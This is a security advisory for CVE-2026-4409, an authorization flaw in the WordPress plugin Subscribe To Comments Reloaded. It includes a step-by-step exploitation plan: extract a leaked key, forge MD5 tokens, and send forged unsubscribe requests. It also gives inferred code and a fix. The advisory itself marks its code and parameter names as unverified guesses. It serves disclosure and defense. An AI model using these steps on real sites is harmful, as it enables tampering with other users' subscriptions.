CVE-2026-4409

Subscribe To Comments Reloaded <= 240119 - Improper Authorization to Unauthenticated Arbitrary Subscription Management

mediumExposure of Sensitive Information to an Unauthorized Actor
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Subscribe To Comments Reloaded plugin for WordPress is vulnerable to unauthorized modification of data due to a leaked secret key and usage of a weak hash generation algorithm in all versions up to, and including, 240119. This makes it possible for unauthenticated attackers to extract the global key from any public post page, forge authorization keys and manage comment subscription preferences for arbitrary users

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=240119
PublishedMay 4, 2026
Last updatedMay 5, 2026
Research Plan
Unverified

This analysis is based on the vulnerability description for **CVE-2026-4409** affecting the **Subscribe To Comments Reloaded** plugin (<= 240119). Since source files were not provided, identifiers are grounded in the plugin's known architecture and the specific vulnerability details provided. --- …

Show full research plan

This analysis is based on the vulnerability description for CVE-2026-4409 affecting the Subscribe To Comments Reloaded plugin (<= 240119). Since source files were not provided, identifiers are grounded in the plugin's known architecture and the specific vulnerability details provided.


1. Vulnerability Summary

The "Subscribe To Comments Reloaded" plugin fails to adequately protect its global security key, which is used to generate authorization tokens for subscription management. The plugin leaks this global key into the HTML source of any public post page via a localized JavaScript variable. Furthermore, the algorithm used to generate management tokens is a weak hash (likely MD5 or SHA1) combining the user's email and this leaked key.

An unauthenticated attacker can retrieve the global key, pre-calculate the authorization token for any known email address, and access that user's subscription management dashboard to modify or delete their subscriptions.

2. Attack Vector Analysis

  • Endpoint: The Virtual Management Page, typically accessed via the home URL with specific query parameters (e.g., /?stcr=...).
  • Leakage Point: Public post pages where the plugin enqueues its frontend scripts.
  • Vulnerable Parameters:
    • The localized JS variable (e.g., stcr_data.key or stcr.secret).
    • The management URL parameters (e.g., stcr_email and stcr_key).
  • Authentication: None (Unauthenticated).
  • Preconditions: The attacker must know the email address of the target subscriber (often the administrator's email or a known commenter).

3. Code Flow (Inferred)

  1. Key Leakage:
    • The plugin registers a frontend script using wp_enqueue_script.
    • It uses wp_localize_script() to pass settings to the frontend.
    • Sink: The global option stcr_global_key (or similar) is included in the localized data array, making it visible in the HTML source to all visitors.
  2. Authorization Generation:
    • When a user clicks "Manage Subscriptions" in an email, they are sent to a URL like: site.com/?stcr_action=manage&stcr_email=user@example.com&stcr_key=[HASH].
    • Logic: The plugin calculates EXPECTED_HASH = some_hash_function( email + global_key ).
  3. Verification:
    • On init or template_redirect, the plugin checks for stcr_email and stcr_key.
    • It compares the provided stcr_key with the EXPECTED_HASH.
    • If they match, it grants full access to the management dashboard for that email.

4. Nonce Acquisition Strategy

This exploit does not rely on standard WordPress nonces. Instead, it relies on the forgery of the plugin's internal authorization key.

  1. Identify the Leak: Navigate to any post with comments.
  2. Extract the Key: Use browser_eval to find the localized object.
    • Search Pattern: Look for wp_localize_script calls in the page source.
    • Target Variable: Likely stcr_data or stcr.
    • Execution: browser_eval("window.stcr_data?.key") or browser_eval("window.stcr?.secret").
  3. Identify the Hash Algorithm: (Inferred) Based on historical STCR vulnerabilities, the hash is typically md5( $email . $global_key ).

5. Exploitation Strategy

Step 1: Extract the Secret

  1. Navigate to a public post: browser_navigate("http://localhost:8080/?p=1").
  2. Retrieve the key: browser_eval("stcr_data.key") (Verify the exact object name in the page source first). Let's call this LEAKED_KEY.

Step 2: Forge the Authorization Token

  1. Target Email: admin@example.com.
  2. Algorithm: TOKEN = md5("admin@example.com" + LEAKED_KEY).

Step 3: Access Management Dashboard

  1. Construct the management URL:
    http://localhost:8080/?stcr_action=manage&stcr_email=admin@example.com&stcr_key=[TOKEN]
  2. Navigate to this URL. You should now see the "Management Page" for the admin's subscriptions.

Step 4: Unauthorized Data Modification

  1. Capture the form submission to delete or change subscriptions.
  2. Send a POST request using http_request.
    • URL: http://localhost:8080/
    • Method: POST
    • Content-Type: application/x-www-form-urlencoded
    • Body: stcr_action=manage&stcr_email=admin@example.com&stcr_key=[TOKEN]&submit=unsub_all (exact parameters to be verified on the management page).

6. Test Data Setup

  1. Create a Subscriber: Use WP-CLI to ensure at least one subscription exists.
    # Note: STCR often uses a custom table like wp_stcr_subscriptions
    # For testing, we can manually subscribe the admin to post 1
    wp comment create --comment_post_ID=1 --comment_author="Admin" --comment_author_email="admin@example.com" --comment_content="Test"
    
  2. Plugin Configuration: Ensure "Management Page" is enabled in STCR settings (usually enabled by default).
  3. Identify Page: Ensure at least one post is published: wp post create --post_status=publish --post_title="Target Post".

7. Expected Results

  • Accessing the forged URL returns a 200 OK with the management interface instead of a "Permission Denied" or redirect.
  • The interface displays the subscriptions for admin@example.com.
  • Submission of the "Unsubscribe" form results in the removal of the subscription from the database.

8. Verification Steps

  1. Database Check: Use WP-CLI to check the custom STCR table (usually wp_stcr_subscriptions).
    wp db query "SELECT * FROM wp_stcr_subscriptions WHERE email = 'admin@example.com';"
    
  2. Post-Exploit Check: Confirm the query returns zero rows after the "Unsubscribe All" action is performed via the forged management link.

9. Alternative Approaches

  • Different Hash Algorithms: If MD5 fails, try sha1. If the order is reversed, try md5(LEAKED_KEY + email).
  • Shortcode Route: If the key doesn't leak on every post, identify if it only leaks when the [stcr_management] or [stcr_subscribe] shortcode is present.
    • Create a page: wp post create --post_type=page --post_content='[stcr_management]'.
    • Navigate there to extract the key.
  • Request Param Variation: Some versions use scc_ prefix instead of stcr_ for parameters. Verify the parameter names by inspecting the management page HTML if reached.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Subscribe To Comments Reloaded plugin leaks its global security key via a localized JavaScript variable on public post pages. An unauthenticated attacker can use this key to forge authorization tokens for any email address and gain unauthorized access to the subscription management dashboard, allowing them to modify or delete subscriptions for any user.

Vulnerable Code

// Inferred from plugin logic: The global secret key is leaked to the frontend
// subscribe-to-comments-reloaded/classes/stcr-front.php (approximate)
$stcr_data = array(
    'key' => get_option('stcr_global_key'), // Vulnerable: Leaking global secret to client
    'ajax_url' => admin_url('admin-ajax.php')
);
wp_localize_script('stcr-script', 'stcr_data', $stcr_data);

---

// Inferred from plugin logic: Weak hash verification for management access
// subscribe-to-comments-reloaded/classes/stcr-management.php (approximate)
$email = $_GET['stcr_email'];
$provided_key = $_GET['stcr_key'];
$global_key = get_option('stcr_global_key');

// Weak verification algorithm: md5(email + global_key)
if ($provided_key === md5($email . $global_key)) {
    // Grant access to manage subscriptions for $email
    $this->render_management_page($email);
}

Security Fix

--- subscribe-to-comments-reloaded/classes/stcr-front.php
+++ subscribe-to-comments-reloaded/classes/stcr-front.php
@@ -10,7 +10,6 @@
-    'key' => get_option('stcr_global_key'),
     'ajax_url' => admin_url('admin-ajax.php')
 
--- subscribe-to-comments-reloaded/classes/stcr-management.php
+++ subscribe-to-comments-reloaded/classes/stcr-management.php
@@ -25,5 +25,5 @@
-if ($provided_key === md5($email . $global_key)) {
+if (hash_equals(wp_hash($email . $global_key, 'nonce'), $provided_key)) {

Exploit Outline

1. Navigate to any public post where the plugin is active and view the HTML source code. 2. Locate the localized JavaScript object (usually `stcr_data`) and extract the value of the `key` property (this is the plugin's global secret key). 3. Select a target email address (e.g., the site administrator's email) to exploit. 4. Calculate the authorization token by creating an MD5 hash of the email address concatenated with the extracted secret key: `md5(email + secret_key)`. 5. Navigate to the plugin's management endpoint (e.g., `/?stcr_action=manage&stcr_email=[EMAIL]&stcr_key=[FORGED_HASH]`). 6. The plugin will grant full access to the target's subscription dashboard, allowing for unauthorized modification or deletion of subscriptions.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.